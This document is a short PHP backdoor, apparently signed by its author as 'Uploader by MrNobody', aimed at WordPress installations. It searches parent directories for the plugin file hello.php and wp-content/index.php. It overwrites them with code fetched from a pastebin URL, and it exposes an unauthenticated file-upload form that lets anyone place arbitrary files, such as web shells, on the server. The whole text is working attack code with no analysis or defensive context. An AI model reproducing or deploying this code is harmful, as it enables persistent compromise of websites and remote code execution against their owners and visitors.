up

<?php
echo "Uploader by MrNobody";
$Mr=array('/','../','../../','../../../','../../../../','../../../../../','../../../../../../');
foreach($Mr as $pa){
$Nobody=array("$pa/wp-content/plugins/hello.php","$pa/wp-content/index.php");
foreach($Nobody as $path){
if (file_exists("$path")){
$html = @file_get_contents('https://pastebin.com/raw/5xG9rCz6');
$save=fopen($path,'w');
fwrite($save,$html);
echo "<br>twitter.com/0x_3a";
}}}
if($_GET['up']=="load"){
if(isset($_POST['Submit'])){
    $filedir = "";
    $maxfile = '2000000';
    $mode = '0644';
    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if(isset($_FILES['image']['name'])) {
        $qx = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $qx);
        @chmod ($qx, octdec($mode));
echo" <a href=$userfile_name><center><b> $userfile_name uploaded <br> twitter.com/0x_3a </b></center></a>";
}}
else{
echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo '</center>';
}
?>